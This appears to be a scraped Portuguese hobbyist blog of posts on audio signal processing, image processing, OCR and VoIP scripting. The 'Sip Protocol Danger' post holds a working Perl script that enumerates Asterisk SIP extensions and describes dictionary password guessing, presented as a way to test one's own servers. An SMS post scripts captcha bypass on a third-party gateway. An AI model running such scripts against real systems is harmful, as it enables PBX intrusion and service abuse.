correlacao = fftconvolve(signal, signal[::-1], mode=’full’)
correlacao = correlacao[len(correlacao)/2:]
d = diff(correlacao)
inicio = find(d > 0)[0]
pico = argmax(correlacao[inicio:]) + inicio
picox, picoy = parabola(correlacao, pico)
return fs / picox

filename = sys.argv[1]
spf = wave.open(filename,’r’)
signal = spf.readframes(-1)
signal = fromstring(signal, ‘Int16’)
fs = spf.getframerate()
print ‘\n ** Arquivo Aberto ** “%s”\n’ % filename
print ‘Calculando a Frequencia por FFT:’,
start_time = time()
print ‘%f Hz’   % Fundamental_Frequency_fft(signal, fs)
print ‘Tempo: %.3f s\n’ % (time() – start_time)
print ‘Calculando a Frequencia por zero crossing:’,
start_time = time()
print ‘%f Hz’ % Fundamental_Frequency_zero_crossing(signal, fs)
print ‘Tempo: %.3f s\n’ % (time() – start_time)
print ‘Calculando a Frequencia por autocorrelação:’,
start_time = time()
print ‘%f Hz’ % Fundamental_Frequency_autocorrelation(signal, fs)
print ‘Tempo: %.3f s\n’ % (time() – start_time)

Até

Eng Eder de Souza

Categorias:DSP, Programação Tags:,

Audio FingerPrint em Python

Audio  Fingerprint é o ato de reconhecer um determinado audio dentro de um amplo número de sons…

Este conceito é utilizado pelo Shazam, que tem o poder de lhe retornar o nome de uma música com uma pequena amostra a partir de qualquer pedaço de uma canção.

Ao ler um post escrito por Roy Van Rijn  decidi tentar escrever algo semelhante seguindo todos os passos descrito em seu blog.

Aproveitei um pedaço de um projeto antigo  esteganografia-spectrograma-em-arquivos-de-audio reescrevi minha função para visualizar spectrogramas para melhor se adaptar ao novo código, para testar o novo spectrograma peguei dois arquivos fract.mp3 e mandel.mp3 eles podem ser encontrados neste site.

Primeiro converti os dois arquivos em .WAV os deixando em Mono, o mpg123 me ajudou neste trabalho de coversão!

E aqui esta os resultados do meu Spectrograma:

Para o Mandel.wav


E agora o fract.wav

Legal minha função para mostrar o Spectograma funciona perfeitamente!

Vamos agora para o próximo passo descrito por Roy Van Rijn, encontrar as maiores frequencias dentro de cada tempo de uma música.

Com esta etapa concluida eu consigo montar uma “Constelation Map” contendo os maiores pontos (frequencias) dentro de um spectrograma, para demonstrar eu plotei o resultado da música inteira “Rihanna feat David Guetta – Whos That Chick(Radio Edit)”

Resultado mostrando a “Constelation Map” para a música Rihanna feat David Guetta – Whos That Chick(Radio Edit):

Todos os pontos em vermelho são onde encontrei as maiores frequencias correspondentes a cada tempo dentro da canção!

O proximo passo é indexar estes valores dentro de um arquivo .txt por exemplo!

Em meu arquivo .txt tenho:

[142, 393, 578, 1802]
[71, 378, 400, 1725]
[52, 204, 406, 753]
[51, 205, 425, 773]
[137, 392, 697, 833]
[140, 201, 660, 773]
[53, 300, 666, 776]
[51, 342, 497, 701]
[50, 200, 414, 731]
[57, 367, 697, 833]
[85, 223, 690, 783]
[55, 234, 697, 845]
[50, 204, 403, 773]
[121, 238, 571, 714]
[52, 370, 544, 721]
[132, 325, 463, 794]
[164, 226, 515, 712]

.

.

.

Indexei cerca de 1000 canções eu precisei converter todas para .wav sempre em mono!

Lol após isso é importante colocar todos estes valores dentro de uma grande hash table para uma melhor performace.

E vamos ao grande teste pegar um pedaço de qualquer canção indexada e ver se conseguimos o retorno correto !

Vamos tentar 18 segundos de áudio bem sujo e ver o resultado!

Primeiro tentei este pedaço Chick_noise2.wav

Ual funciona !

O som está bem degradado e sujo, decidi pegar um som gravado do microfone de meu smart phone quando estava dentro de um shopping escutando um som ambiente, ajustei para obter os acertos comparando menos frequencias pois o áudio estava deplorável a gravação é esta Clipe som 03.wav

Resultado:

Funcionou !

Vamos tentar outra música também gravada do microphone de meu smart phone dentro do shopping Clipe som 06.wav

Resultado:

Funcionou novamente!

Estas demonstrações são de arquivos com áudio bem degradados e sujos, podemos perceber que em todas elas temos um grande nível de ruido e mesmo assim funciona!

Um agradecimento especial ao Roy que postou em seu blog todos os passos para este feito!

Eng Eder de Souza

Making My Own Smile Detector Part 1

abril 16, 2011 4 comentários

Olá

Estive lendo algumas literaduras sobre expressões faciais aplicado a robótica, sempre fui um tanto curioso em saber e entender como sistemas robóticos conseguem definir comportamentos e classificar expressões humanas …

Pois bem o caminho não é tão complicado quanto esperava em 1 final de semana chuvoso me veio a inspiração para iniciar um detector de sorrisos a pricipio por amostra de fotos com pessoas para adquirir os conceitos obtidos na não tao vasta literatura sobre classificação robótica facial.

A principio me veio em mente a renomada patente da SONY “smile shutter”, como era de se esperar não encontrei documentação descrevendo os métodos utilizados pela SONY.

Então resolvi seguir sozinho tinha em mente que para conseguir identificar sorrisos iria precisar aplicar algumas métricas geométricas e biometria para definir tal expressão.

Traçando alguns pontos principais para o sucesso:

* Identificar faces
* Identificar boca
* Identificar olhos
* Identificar as extremidades dos olhos e boca
* Definir ponto de Origem e aplicar escala invariante para compensar diferentes tamanhos de imágens
* Calcular distancia da boca (lábio superior, lábio inferior, extremidade do lado esquerdo e direito)

Alguns destes pontos são fáceis de se aplicar …

Iniciei pela identificação da face, logo após parti para a regiao da boca seguido dos olhos na qual me parece ser um ponto fundamental para a identificação do sorriso pois com ele se consegue fazer cálculos biométricos.

Pois bem agora faltava encontrar as extremidades da região da boca e dos olhos, dois pontos X,Y para a região dos olhos e quatro pontos para a região da boca antes destes passos segmentei as regiões da boca e olhos para ter melhor performace ao percorrer a matriz da imágem na procura dos pontos de interesse. Testei rapidamente SOBEL e tive resultados não satisfatórios fui então para CANNY e o resultado foi esplêndido para encontrar as extremidades das regioes segmentadas, um ajuste fino com filtro deve ser pensado para melhorar o resultado da região dos olhos.

Segue tela de dois testes :

Na Imagem podemos notar que a região da boca e dos olhos não tiveram bons resultados (rostos estão levemente inclinados). Para Debug estou mostrando 5 fotos de saida, sao elas, região da boca, olhos, regiao dos olhos aplicado com filtro, imagem com os pontos da regiao da boca e imagem com a face boca e olhos..

Vamos a outro teste:

Bom podemos notar que o resultado foi melhor para este rosto o angulo frontal caiu como uma luva na regiao segmentada da boca todos os pontos estão exatamente sobre suas extremidades, ainda estou tendo dificuldades para a região dos olhos acredito que possa melhorar dilatando a imágem …

Para o proximo post espero mostrar os avanços e concluir os pontos restantes que são:
* Definir ponto de Origem e aplicar escala invariante para compensar diferentes tamanhos de imágens
* Calcular distancia da boca (lábio superior, lábio inferior, extremidade do lado esquerdo e direito)

Até

Eng Eder de Souza

Find Circular Objects in images

Olá pessoal !

Bom vamos falar hoje sobre como identificar objetos dentro de imagens ..

Fiz alguns testes para identificar objetos circulares pelo método “covariance matrix” existem outros métodos por exemplo a transformada de  Hough pode ser modificado para identificar circulos!

Mas vamos aos testes

vamos iniciar por uma imagem geometrica mais simples como esta

A idéia é encontrar todos os objetos da figura para depois comparar suas propriedades !

Para isso vamos tentar encontrar todos os objetos conectados dentro de uma figura utilizado Label …

Apos isso teremos que percorrer todos os objetos e aplicar a formula  covariance matrix !

Se todas as propriedades forem verdadeiras teremos um circulo na imagem …

Segue código que faz tudo isso:

#Eng Eder de Souza Find Circular Objects Example Source
from __future__ import division
from scipy.misc.pilutil import imread
from scipy import ndimage
from pymorph import add4dilate, binary, blob
from numpy import *
import pylab
import math

f = imread(‘hgjkdngm.GIF’, flatten=True)
f = binary(f, k=110)
arr=asarray(f)
l, n = ndimage.label(arr)
ObjectsAreas = blob(l, ‘area’, output=’data’)
ObjectsAreas = asarray(ObjectsAreas)
ObjectsBoundingbox = blob(l,’boundingbox’, output=’data’)
NumberOfCircles = 0
fo = ndimage.find_objects(l)

for i in range(n):

# Squares or Retangular Objects
(x1, y1, x2, y2) = ObjectsBoundingbox[i]
RegionArea = (x1 – x2) * (y1 – y2)
Area = ObjectsAreas[i]

x = array(where(arr[fo[i]] == 1))
# compute mean
m = x.mean(axis=1)
# compute covariance matrix
# http://en.wikipedia.org/wiki/Estimation_of_covariance_matrices
Sxx = (1.0/n)*sum((x[0]-m[0])*(x[0]-m[0]))
Sxy = (1.0/n)*sum((x[0]-m[0])*(x[1]-m[1]))
Syy = (1.0/n)*sum((x[1]-m[1])*(x[1]-m[1]))
if Syy > Sxx:

div = float(Syy/Sxx)
result = (div -1) * 100

else:

div = float(Sxx/Syy)
result = (div -1) * 100

#test conditions for objects circules!
if RegionArea != Area and Sxy < 5 and result < 100:

NumberOfCircles += 1

print NumberOfCircles

Clap Detection

novembro 29, 2010 Deixe um comentário

Ola Pessoal, há um tempo atrás discuti com um amigo sobre como identificar via microfone um grande ruido, como por exemplo o bater de mãos, então pensei vou fazer um detector de palma 🙂

Testei vário modelos de análise de onda e espectros sem sucesso, então tive uma idéia mais simples que precisa ser melhor desenvolvida

A idéia consiste apenas em analísar os decibéis corrente com a média dos valores antigos para assim identificar uma grande enérgia do sinal dentro de um período curto caracterizando assim uma grande “batida” podendo perfeitamente ser utilizado para identificar grandes ruídos repentinos como uma palma por exemplo …

Claro que as desvantajens deste método são enormes pois qualquer ruido com um pico elevado de curta duração será caracterizado como uma batida.

Segue source que precisa ser melhor elaborado:

##############################################
##Eng Eder de Souza
##Date: 20/11/2010
##
##############################################

from __future__ import division

import sys
import math
import numpy
import pyaudio
from scipy.fftpack import rfft
from numpy import *

class AudioPowerClass(object):

def GetPowerWavFromMIC(self):

FORMAT = pyaudio.paInt16
pyaud = pyaudio.PyAudio()
teste = pyaud.get_sample_size(FORMAT)

try:

stream = pyaud.open(format = pyaudio.paInt16,
channels = 1,
rate = 44100,
input_device_index = int(pyaud.get_default_input_device_info()[“index”]),
input = True)
windowsize = 1000
i = 0
cur_pwr = 0
last_pwr = 0
Frequencia = 0
Clap = 0

Porcent_limit = 3
print “Escrito por Eng Eder de Souza”
print “Dispositivo de Microfone Encontrado pronto para uso”
print””
print””

except:

print “Escrito por Eng Eder de Souza”
print “Falha ao Encontrar Dispositivo”
sys.exit()

while True:

try:

pegaentrada = stream.read(1)

except:

continue

dados = numpy.fromstring(pegaentrada, dtype=numpy.int16)
pwr = round(10*log10(1e-20+abs(rfft(dados))**2))

if i <= windowsize:

cur_pwr=cur_pwr+int(pwr)

i=i+1

if i == windowsize:

i=0

ratio_pwr = float(last_pwr/cur_pwr)

result = (ratio_pwr -1) * 100

#O Result retorna a porcentagem entre a comparação da diferença de decibéis entre o último valor e o corrente Alterando o Porcent_limit você tera um resultado mais refinado para identificar barulhos maiores ou menores

if result > Porcent_limit:

Clap = 1

if Clap == 1:

if last_result < Porcent_limit:

Clap = 0

print “%d Estrondo Detectado” %ratio_pwr

print “%f eder valor” %result

last_pwr = cur_pwr
last_ratio_pwr = ratio_pwr
last_result = result
cur_pwr=0
Clap = 0

Categorias:DSP, Programação

Calculando Decibéis Pela Entrada de Áudio

outubro 26, 2010 Deixe um comentário

Bom vamos lá….

Alguem já se perguntou como calcular a itensidade sonora provocada por algum ruido??

Toda variação de pressão gerada por uma onda sonora possue uma itensidade !

Detalhes técnicos pode ser encontrado aqui http://en.wikipedia.org/wiki/Decibel

Desenvolvi uma classe bem simples em python que faz este cálculo:

você vai precisar de um microfone …

O grande problema de se medir a itensidade por microfones é que eles não sao precisos pois eles não faram feitos com esta finalidade, tanto é que existem microfones mais senssível outros de melhor qualidade, ate mesmo as configurações de sua entrada de audio pode alterar os valores, limitações do dispositivo, ruidos provocados pelo próprio CPU podem interferir nos resultados etc, etc …

Existem padroes estabelecidos referente as faixas de decibéis !!!

* 0-20dB —- Muito Baixo imperceptível
* 20-40dB —- Baixo conversação silenciosa
* 40-60dB —- Moderado conversação normal
* 60-80dB —- Alto ruído médio de fábrica ou trânsito
* 80-100dB — Muito alto apito de guarda e ruído de caminhão
* 100-120dB —Ensurdecedor ruído de discoteca e de avião decolando

#########CLASSE INICIO##########################

##############################################

##Eng Eder de Souza

##Date: 12/09/2010

##Power Audio From Microphone Calc.

##############################################

import sys

import math

import numpy

import pyaudio

from scipy.fftpack import rfft

from numpy import *

class AudioPowerClass(object):

def GetPowerWavFromMIC(self):

FORMAT = pyaudio.paInt16

pyaud = pyaudio.PyAudio()

teste = pyaud.get_sample_size(FORMAT)

try:

stream = pyaud.open(format = pyaudio.paInt16,

channels = 1,

rate = 8000,

input_device_index = int(pyaud.get_default_input_device_info()[“index”]),

input = True)

print “Escrito por Eng Eder de Souza”

print “Dispositivo de Microfone Encontrado pronto para uso”

print””

print””

except:

print “Escrito por Eng Eder de Souza”

print “Falha ao Encontrar Dispositivo”

sys.exit()

while True:

try:

pegaentrada = stream.read(1)

except:

continue

dados = numpy.fromstring(pegaentrada, dtype=numpy.int16)

pwr  = round(10*log10(1e-20+abs(rfft(dados))))

print “%d dB” %int(pwr)

#########CLASSE FIM##########################

Exemplo de como chamar  esta classe AudioPowerClass!

#########PROG INICIO##########################

from AudioPowerClass import AudioPowerClass

Power = AudioPowerClass()

try:

Power.GetPowerWavFromMIC()

except KeyboardInterrupt:

print ‘Eng Eder de Souza bye bye !! …’

#########PROG FIM##########################

Eng Eder de Souza

Categorias:DSP, Programação

Decodificar teclas de telefone via Microfone!!

setembro 25, 2010 2 comentários

Olá pessoal!

Já faz algum tempo que escrevi um pequeno script em python para decodificar teclas de telefone pressionadas via microfone ou via entrada de audio atraves de sua placa de som, o script nada mais faz do que capturar a entrada de audio do seu equipamento transformar o sinal de entrada em um vetor e aplicar o algoritmo de Goertzel no sinal capturado, o script ainda necessita de muitos filtros para captura de teclas em sequencia, principalmente no que se diz respeito a falsos positivos quando o mesmo é submetido em conjunto com muitos ruidos, audios, músicas de fundo, vozes de muitas pessoas em público, etc, etc…

Mesmo assim ele possui uma porcentagem de acerto consideravelmente boa!

Segue uma pequena amostra dele funcionando!

Fui

Categorias:DSP, Programação, Telecom

SMS Tim Free

agosto 25, 2010 3 comentários

Ae povao atualizei o script para envio grátis de SMS para operadora Tim Segue:

#Eng Eder de Souza
#data 25/08/2010
# -*- coding: iso-8859-1 -*-
import base64
import ClientCookie
import urllib2
import urllib
import re
import sys
import os
NOME = “Eder”
MSG = “teste de envio”
def sendsms(ddd,NUM):
url = “http://www.sbrobous.com/pan_tim_sb.php&#8221;
req = urllib2.Request(url)
req.add_header(‘Referer’, url)
f = urllib2.urlopen(req)
data = f.read()
f.close()
find = re.search(‘ss=(\d+)’, data)
codcaptcha = find.group(1)
s = base64.decodestring(‘aHR0cDovL3d3dy5zYnJvYm91cy5jb20vY2FwdGNoYS5waHA/c3M9’)
url = s + codcaptcha
req = urllib2.Request(url)
req.add_header(‘Referer’, url)
cj = ClientCookie.MozillaCookieJar()
opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj))
ClientCookie.install_opener(opener)
data = ClientCookie.urlopen(req).read()
cj.save(“infer”, ignore_discard=True, ignore_expires=True)
find = re.findall(‘>(\d+)<‘, data)
captcha = find[0] + find[1]
cj = ClientCookie.MozillaCookieJar()
cj.load(“infer”, ignore_discard=True, ignore_expires=True)
opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj))
ClientCookie.install_opener(opener)
url = “http://www.sbrobous.com/ser_tim_sb.php&#8221;
req = urllib2.Request(url)
req.add_header(‘Referer’, url)
data = {‘ddd’: ddd, ‘rmsisdn’: NUM, ‘sms’: MSG, ‘nome’: NOME, ‘code’: captcha, ‘ss’: codcaptcha}
req.add_data(urllib.urlencode(data))
f = opener.open(req)
data = f.read()
if “sucesso” in data:
print “SMS Enviado com Sucesso”
else:
print “Problemas no Envio”
tel=sys.argv[1]
ddd = tel[:2]
NUM = tel[2:10]
sendsms(ddd,NUM)



[]’s

Eng Eder de Souza
Categorias:Programação, Telecom

Sip Protocol Danger

julho 30, 2010 3 comentários

Olá !!

Dia do SysAdmin então pq não falar de segurança !

Quem nunca se deparou com tentativas de ataque que atire a primeira pedra rsrs. No mundo da voz sobre IP a coisa não poderia ser diferente, meu Alerta vai para a comunidade Asterisk já faz alguns meses que resolvi colocar a prova como se comporta o protocolo SIP.

E o review que consegui foi alarmante, imagine você descobrir remotamente via porta SIP quais ramais existem em seu PBXIP e pior que isso ainda poder usar dicionários para chutar as senhas, pois bem isso é possóvel e grave..

Vamos aos meus testes:

-Configurar um Server Asterisk

-Criar ramais

-Deixar a porta 5060 (SIP) em listem para a internet

-Criar um script Perl para conectar na porta 5060 UDP e enviar o método de registro documentando pela arquitetura SIP e pegar o Retorno.

Detalhe conseguia saber os ramais existentes remotamente analisando a simples resposta do protocolo …

Testando ramais não existentes no Servidor Asterisk a resposta foi:

Retorno ‘SIP/2.0 404 Not found …..”

Segue tela do retorno

No Servidor que recebe o ataque em meus logs tenho

[Jul 30 18:50:08] NOTICE[2941] chan_sip.c: Registration from ‘sip:ramal@IP_server <sip:ramal@IP_server>’ failed for ‘Ip_remoto’ – No matching peer found

Owww já sei que este ramal nao existe no servidor entao resolvi colocar um existente e recebo na tela :

Retorno ‘SIP/2.0 100 Trying

Pronto temos um padrão retorno 100 ramal Existente retorno 404 ramal Inexistente.

Parece perigoso o pior de tudo isso é que apos isso vc pode passar via Socket tentativas de senha e verificar o retorno, novamente perigo eminente…

bom para quem quer testar seus servidores vou colocar o script aqui ..

#!/usr/bin/perl
use Socket;

sub envia {
$servidor_ip = shift;
$ramal = shift;
$sip_to   = shift;
$sip_from = “asterisk”;
$tm       = time();
$call_id  = $tm . “msgto$sip_to”;
$httptime = `date -R`;
$MESG     =
“REGISTER sip:$servidor_ip SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:60576;branch=z9hG4bK-d87543-061cb00346133471-1–d8754                                                                                                 3-;rport
Max-Forwards: 70
Contact: <sip:$ramal\@127.0.0.1:60576;rinstance=f0265fa8a56b482e>
To: sip:$ramal\@$servidor_ip <sip:$ramal\@$servidor_ip>
From: <sip:$ramal\@127.0.0.1>;tag=3f0fc020
Call-ID: c355bd6a0c2dda04MGY1MmU2YjE2MjY4ZTk1YjNiMWE4ZGQxYzdhZDU2MTA.
CSeq: 5 REGISTER
Expires: 3600
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INF                                                                                                 O
User-Agent: X-Lite release 1002tx stamp 29712
Content-Length: 0

“;

$proto = getprotobyname(‘udp’);
socket( SOCKET, PF_INET, SOCK_DGRAM, $proto );
$iaddr = inet_aton(“$servidor_ip”);
$paddr = sockaddr_in( 5060, $iaddr );
bind( SOCKET, $paddr );
$port = 5060;
$hisiaddr = inet_aton($servidor_ip);
$hispaddr = sockaddr_in( $port, $hisiaddr );
print “Enviado\n”;
if ( send( SOCKET, $MESG, 0, $hispaddr ) ) {
print “envio para “, “$servidor_ip”, ” com sucesso”, “\n”;
my $ptime;
my $src = recv(SOCKET, $ptime, 128, 0);
print “\nRetorno ‘”, $ptime,”‘\n”;

}
else { print “envio”, “$servidor_ip”, ” falhou”, “\n”; }

}

envia(“IP_REMOTO_AQUI”, “RAMAL_REMOTO_AQUI”, “1005”);
exit;

[]’s

Eng Eder de Souza

Esteganografia Spectrograma em Arquivos de Audio

junho 29, 2010 5 comentários

Vamos falar hoje sobre um assunto bem bacana e antigo, mas que nos dias atuais pode ser utilizado de varias formas para esconder informaçoes, ja faz um bom tempo que escrevi alguns sources que demonstra como converter uma imagen para sinais de audio digital para depois recuperar esta informaçao pelo Spectrograma do sinal de audio injetado, hoje em dia com toda a revoluçao VOIP poderiamos certamente passar varios tipos de informaçoes codificadas dentro de arquivos de voz !!!

Bom vamos as explicaçoes minha ideia seria  percorrer toda a imagen em busca dos valores RGB e montar uma matriz correspondente, com isso poderia usar a transformada de fourrier no modo inverso 🙂 Pronto assim temos um sinal, com o sinal em maos eu injeto esses dados em um arquivo de audio e assim criamos um arquivo com um som bem particular, a proxima etapa seria recuperar estes dados,  conseguimos isso pegando o spectrograma do arquivo de audio gerado …

Bom vamos as demonstraçoes!

Vamos pegar um arquivo .bmp  monocromatico para testar, de inicio vamos pegar este como exemplo.

detect:~# python imageWAV.py eder.bmp
Arquivo de audio gerado
detect:~#

com isso temos um arquivo wav da imagem  !!
Escute aqui o Arquivo Gerado.
saida_spectro.wav

Haha temos um sinal de audio convertido a partir de uma imagem lol

Mas e ae vamos recuperar a imagem pelo spectro do arquivo de audio

detect:~# python son4.py

E ae esta o resultado do spectro do audio !!!

Legal 🙂

Por falta de tempo eu nao fiz mais testes !

[]’s

Eng Eder de Souza

Portabilidade

maio 26, 2010 58 comentários

Olá galera!

Seguinte ano passado postei um source em python para pegar a portabilidae de números Telefonicos via site consultanumero.abr.net.br, o tempo passou e o script parou de funcionar pois o sistema em jboss deles foi atualizado, o povo começou a mandar email pedindo ajuda e querendo de certa forma utilizar esse serviço de forma automatizada, resolvi perder 30 minutos e reescrever o source para o sistema Atual.

Lembrando que o método usa reconhecimento de caracteres para tentar quebrar o captcha, digamos que ele é pouco eficiente para uso amplo em produção, claro se alguem dispor de tempo pode treinar uma base de dados consistente para que ele funcione melhor.

tela dele funcionando:

Leia mais…

Categorias:Programação, Telecom

Frequencia Fundamental

abril 28, 2010 1 comentário

Bom Vamos lá, o tópico de hoje é relacionado a processamento de sinais, um complexo emaranhado de técnicas matemáticas, o peso da bagagem teórica sobre o assunto se torna extremamente massante, vamos simplificar tudo isso passando sobre o caminho das pedras.

Existem vários métodos para descobrir a Frequencia Fundamental (F0) http://en.wikipedia.org/wiki/Fundamental_frequency

Os Mais comuns são:

*Achar a Estimativa da Frequencia com o uso da autocorrelação
*Achar a estimativa da Frequencia com o uso da Transformada de Fourrier e Interpolação Quadrática
*Achar a Estimativa da Frequencia com o uso de zero crossings

Mas se você quer construir algo rápido, apenas injetar um sinal de audio via Microfone ou ler um Arquivo .Wav para conseguir a Frequencia do sinal injetado simplefique  tudo utilizando o http://pypi.python.org/pypi/SoundAnalyse, SoundAnalyse é o modulo em python para conseguir isso e muito mais.

Testei o SoundAnalyse em solo Windows para tal instalar os seguintes componentes

Instalar o Python
Download em http://www.python.org/download/

Instalar o MinGW
Download em http://ufpr.dl.sourceforge.net/sourceforge/mingw/MinGW-5.1.4.exe

Instalar o numpy e o pyaudio
Download em http://www.lfd.uci.edu/~gohlke/pythonlibs/

Instalar o SoundAnalyse
Download em http://pypi.python.org/packages/source/S/SoundAnalyse/SoundAnalyse-0.1.1.tar.gz

colocar o compilador MinGW ao Path do Windows
C:\>set PATH=C:\MinGW\bin;%PATH%

Para Instalar o SoundAnalyse de execute

C:\Python26\SoundAnalyse-0.1.1>C:\Python26\python.exe setup.py install

Pronto todos os módulos dependentes instalados Agora vamos ao Source

import sys
import os
import time
import numpy
import pyaudio
import analyse
 
#Eng Eder de Souza – Frequencia Fundamental

pyaud = pyaudio.PyAudio()
Microfone=sys.argv[1]

try:
    stream = pyaud.open(
    format = pyaudio.paInt16,
    channels = 1,
    rate = 44100,
    input_device_index = int(Microfone),
    input = True)
except:
    print “Falha ao Encontrar Dispositivo”
    sys.exit()
Frequencia = “”
while True:
  
    try: 
       pegaentrada = stream.read(1024)
    except:
        print “%.0f Hz” %Frequencia
        os.system(“cls”)
   
    dados = numpy.fromstring(pegaentrada, dtype=numpy.int16)
    if analyse.detect_pitch(dados):
          print “%.0f Hz” %analyse.detect_pitch(dados)
          os.system(“cls”)
          Frequencia = analyse.detect_pitch(dados)
        
    else:
        
         print “%.0f Hz” %Frequencia
         os.system(“cls”)

Para rodar Execute

python.exe mic.py 1

Altere o Valor do Device até encontrar sua entrada de Microfone no meu caso é “1” !!

Tela  de  teste para Identificação de Audio em 100 Hertz


[]’s
Eng Eder de Souza

Categorias:DSP, Programação Tags:

Monitorando tudo Com Gráficos RRDTOOLS

Pessoal quanto tempo, nao abandonei o Blog não !

Eu que pensei que este ano iria ser mais tranquilo, doce ilusão, vamos lá estou aqui para falar de uma ferramenta essencial para quem quer gerar gráficos, o céu é o limite, RRDTools é uma das maneiras mais práticas de se construir um database com informações alimentadas sobre qualquer “coisa” do planeta se você deseja criar gráficos com intenção de manter estes dados para fins de monitoramento ou apenas como um histórico rrdtools pode lhe ajudar com essa sua necessidade, fácil de se manipular apresenta suporte em várias linguagens (php, perl, python, etc) vai ao gosto do freguês, mas para mim o grande lance é poder customizar tudo construir meus próprios gráficos criar meus scripts para capturar e armazenar informações em um banco RRD para depois simplesmente plotar seu conteúdo gerando tudo isso em uma imagem.

Segue uma tela de um gráfico gerado via RRDTOOLS neste caso fiz um script na qual captura informações que tenho interesse neste exemplo estou pegando dados do meu mail.log (postfix), armazeno tudo isso de tempos em tempos no database RRD e depois ploto o conteúdo em imagem!

Vejam como os dados se apresentam em modo gráfico :

Logo irei postar um source em perl na qual estou terminando para mostrar tráfego de ligações do FreeSwitch espero ter tempo de terminar isso logo !!

Até a proxima

Eng Eder de Souza

Categorias:Programação Tags:

O Poder do FreeSwitch

fevereiro 11, 2010 2 comentários

Ano passado descobri como o novo FreeSwtich é prático, simples e rasteiro, bem mais organizado que o Asterisk e o que é melhor forte como rocha!

Tarefas que antes eram complicadas de tratar foram simplificadas, Ura’s complexas podem ser feitas de maneira simples !

Em meus testes percebi o quando é fácil e agradável construir URAS com a linguagem LUA

Segue um Source na qual pode ser aplicado para qualquer finalidade:

–Estrutura
–URA que permite teclas de 1 a 5 “tres” tentativas em caso de teclas erradas (0, 6, 7, 8 ou 9) após isso hangup
–Digite 1 para falar com RH
–Digite 2 para falar com compras
–Digite 3 para falar com Diretoria
–Digite 4 para falar com Administração
–Digite 5 para falar com Eventos
–ou aguarde na linha para ser atendido

session:setAutoHangup(false)
digito = “Eng Eder de Souza”;
contador =0;
while (session:ready() == true) do

     while ((digito >= “6”) or (digito <= “0”)) do
        contador = contador + 1;
        freeswitch.consoleLog(“info”, “contando as entradas = “.. contador ..”\n”);
        if digito == “” then
           freeswitch.consoleLog(“info”, “vc nao digitou nada “.. digito ..”\n”);
           session:execute(“transfer”,”9000″);
           break;
        end
        if contador == 3 then
           session:hangup();
           break;
        end
        digito = session:playAndGetDigits(1, 1, 1, 10000, “#”, “/usr/local/freeswitch/sounds/URA_INICIO.wav”, “”, “\\d+”);
     end
     if (digito == “5”) then
         freeswitch.consoleLog(“info”, “tecla digitada: “.. digito ..”\n”);
         session:execute(“transfer”,”9000″);
     end
     if (digito == “4”) then
         freeswitch.consoleLog(“info”, “tecla digitada: “.. digito ..”\n”);
         session:execute(“transfer”,”4444″);
     end
     if (digito == “3”) then
         freeswitch.consoleLog(“info”, “tecla digitada: “.. digito ..”\n”);
         session:execute(“transfer”,”3333″);
     end
     if (digito == “2”) then
         freeswitch.consoleLog(“info”, “tecla digitada: “.. digito ..”\n”);
         session:execute(“transfer”,”2222″);
     end
     if (digito == “1”) then
         freeswitch.consoleLog(“info”, “tecla digitada: “.. digito ..”\n”);
         session:execute(“transfer”,”1111″);
     end

end

Principios para identificação de caracteres em Python

fevereiro 8, 2010 4 comentários

Olá Galera,

No meu último post descobri como é agradável brincar com manipulação de imagens em Python (PIL),  então começei a imaginar como aplicar isso em algo para melhor ser aproveitado, no mesmo momento me veio a cabeça  “pq não identificar caracteres ??”

Mas nada na vida é tão simples como pensamos ser, a principio me perguntei “como pegar letras de uma palavra separadamente?” muitas perguntas  hahaha então descobri que antes de iniciar qualquer método teria antes que separar as letras de uma palavra para só assim avançar …

A idéia Seria uma palavra sem firulas em uma font black e em um fundo branco, assim poderia abrir esta imagem procurar pela ocorrencia da cor mais escura e quando a encontrasse eu estaria em uma letra da palavra assim eu poderia pegar a localização para depois iniciar a parte mais avançada do script segue o source que faz a brincadeira …

Imagem Original para os meus testes:

Então Aplicando na prática temos:

Compartilhando o source:

#Eder de Souza
#Encontrar Letras

from PIL import Image
import ImageFont, ImageDraw, ImageOps

im2 = Image.open(“eder.jpg”)

letraini = False
achouletra=False
inicio = 0
fim = 0
letras = []
for y in range(im2.size[0]): 
  for x in range(im2.size[1]): 
    pixel = im2.getpixel((y,x))
    r,g,b = pixel
    color = (r + g + b) / 3
    if color < 90:
      letraini = True
  if achouletra == False and letraini == True:
    achouletra = True
    inicio = y
  if achouletra == True and letraini == False:
    achouletra = False
    fim = y
    letras.append((inicio,fim))

  letraini=False

draw = ImageDraw.Draw(im2)

for y in (letras):
    inicio,fim = y
    draw.rectangle((inicio, 0, fim, (im2.size[1]-1)), outline=(16, 152, 22))
im2.save(“output.jpg”)
print “verifique arquivo de saida”

Logo Postareis mais testes quando tiver tempo

Att,

Eng Eder de Souza

Computação Gráfica Python em ação

fevereiro 4, 2010 3 comentários

Estava eu deitado sem nada para fazer !!

A parte mais complicada foi alinhar os pixels na tela.

Funciona da seguinte maneira abrimos uma imagem capturando cada pixel dela para depois converter em ascii, o RGB de retorno é substituido por um caractere após a média…

Resultado da brincadeira !!

Imagem Original

Convertendo para Ascii

##############################################################

Imagem Original

Convertendo para ascii

Source para quem gosta de brincar:

###Eng Eder de souza
##03/02/2010
from PIL import Image
import sys

arquivo=sys.argv[1]

img = Image.open(arquivo)

if img.size[0] > 80:
   img.thumbnail((89,89))

cont = 1

for row in range(img.size[1]):

    for col in range(img.size[0]):
        pixel = img.getpixel((col,row))
        if type(pixel) == int:
           r = pixel
           g = pixel
           b = pixel
        else:
           r,g,b = pixel
        color = (r + g + b) / 3

        if cont < img.size[0]:

     if color < 19:
               print(‘&’),
          elif color < 50:
               print(‘8’),
          elif color < 75:
               print(‘0’),
          elif color < 100:
               print(‘$’),
          elif color < 130:
               print(‘2’),
          elif color < 165:
               print(‘1’),
          elif color < 180:
               print(‘|’),
          elif color < 200:
               print(‘;’),
          elif color < 218:
               print(‘:’),
          elif color < 229:
               print(“‘”),
          elif color <= 255:
               print(‘ ‘),
                cont = cont + 1
        else:
     if color < 19:
                        print(‘&’),
                elif color < 50:
                        print(‘8’),
                elif color < 75:
                        print(‘0’),
                elif color < 100:
                        print(‘$’),
                elif color < 130:
                        print(‘2’),
                elif color < 165:
                        print(‘1’),
                elif color < 180:
                        print(‘|’),
                elif color < 200:
                        print(‘;’),
